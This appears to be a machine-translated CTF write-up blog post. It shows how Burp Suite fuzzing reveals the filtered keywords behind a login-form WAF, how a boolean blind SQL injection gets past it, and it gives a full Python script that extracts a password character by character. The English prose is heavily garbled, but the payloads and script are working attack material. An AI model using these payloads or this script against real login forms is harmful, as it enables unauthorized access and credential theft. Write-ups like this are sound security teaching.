I’m also new. I can skip this one.
I’ve taken a question from my classmates, and now that I have recently learned how to use it for practice, let me record it.
0x01 Pre-injection analysis
It’s a typical login box SQL injection.
There’s a hint on the code.
First, there’s a pre-injection attempt to see if there’s anything wrong or if there’s waf:
Normal input, two scenarios:
- Username correct, password error shown
password error - Username error, show none
no such user!
A guess is that the authentication of user names and the authentication password are carried out in a step-by-step manner, as follows:
select uname from user where uname='xxx'
select uname,pwd from user where uname='xxx' and pwd='xxx'
There’s an injection.naiveIt’s got to be waf:
A simple test of waf, found filtering.or and union select from limit 以及空格,注释符Mom was tight and then he didn’t want to pass the manual test, so he used the burpsuete for the Fuzz test.
0x02 Burpsuite Fuzzing
Burpsuete Fuzzing is mainly through.Burpsuite Intruder模块It’s like a gun. Put the bullet through specific settings.(payload)Aim at the target.(target-site)。
But where did the bullet come from? We’ll do some preparatory work before that:
Fuzzdb: https://github.com/fuzzdb-pro…
This is a payload library of fuzz tests, with lots of payloads, very practical and we use it for this sql injection.
We can use this Payload. /attack/sql-injection/detect/xplatform.txt
Then open the Burpsuete, so that you can first take an agent to a normal request package and then go to the Intruder module as follows:
- Select options tab, select the value part of uname
admin, and then click on the right.add§, the value of uname will be marked as a payload loading position and the rest will not need to be marked. - Select the payloads tab, click on the button shown in the chart to load what was just mentioned
xplatform.txtSo the payload is loaded in. - Select the options tab, setting out the number of lines requested, the number of retries, the time elapsed and so on.
- Last click on top menu
Intruder -> Start attackStart!
Waiting for the completion of fuzz, the results were as follows:
Depending on the length of the return package, different situations can be identified: 202 yespassword error200 is…no such user!There’s 189 more.naive。
It is therefore possible to identify areas where the 42nd request package has been returned with the correct user name, proving that the waf was bypassed.
If there is no payload available, the 189 package can be viewed again to see which fields were dropped by Ban and thus find those that could be used.Available:
# || && , ascii() left() right() length()Cannot use:
空格 -- or and union select from limit mid() substr() substring()
Construct Payload as follows, xx is payload and returns when xx is truepassword error, and xx returns on a false dateno such userAnd that’s what constitutes a bool injection.
uname='||xxx||'&pwd=123
The next step would be to start the injection.
0x03 Automatic injection of Brinder Injection
From this point forward, we’ll blow up through the bool blind.pwdFields, scripts running.
-
It’s through.
length()AccesspwdField Lengthfor i in xrange(1,127): postdata = { 'uname':"'||length(pwd)="+str(i)+"||'", 'pwd':'123' } print i,postdata r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: print "get length!" returnFinally acquired
length(pwd)=30When you can’t handle it, think about the Hint hint. Pass.
length(uname)=5Check your payload, too. -
Because…
mid() substr()It’s a ban. We can only pass.left() right()Run a string cut, and then blow up 30-bit one by one.pwdpwd = '' for i in xrange(0,30): for c in xrange(0x20,0x7f): postdata = { 'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'", 'pwd':'123' } r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: pwd += chr(c) print i,pwd continueFinally, 30-bit passwords. Log in, getflag.
PS: No multiple threads, slow rate of blast and then consider improvements.
PPS: This is followed by a summary of the use of various types of functions, such as
mid()=substr()=right(left())The complete script reads as follows:
#coding=utf-8 import requests s = requests.session() s.keep_alive = False url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/' header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/', 'Content-Type': 'application/x-www-form-urlencoded' } def get_length(): for i in xrange(1,127): postdata = { 'uname':"'||length(pwd)="+str(i)+"||'", 'pwd':'123' } print i,postdata r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: print "get length!" return def get_pwd_char(): pwd = '' for i in xrange(0,30): for c in xrange(0x20,0x7f): postdata = { 'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'", 'pwd':'123' } r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: pwd += chr(c) print i,pwd continue if __name__ == '__main__': get_length() #length is 30 get_pwd_char()
0x04, summarise.
- The use of burpsuete for fuzz testing has greatly improved test efficiency and rapid positioning of injection points, which are also more practical in the usual competitions, with the key to finding a useful fuzz payload.
- Flexiblely use the various sql functions to find a function that is not constructed by Ban and which will be destroyed, if another type of waf is encountered.
They say there’s a similar problem with bugkuCTF.SQL Injecting 2Let’s make a difference.
未经允许不得转载:萌萌Apprentissage » Use Burpsite Fuzz to achieve SQL injections
learn NMAP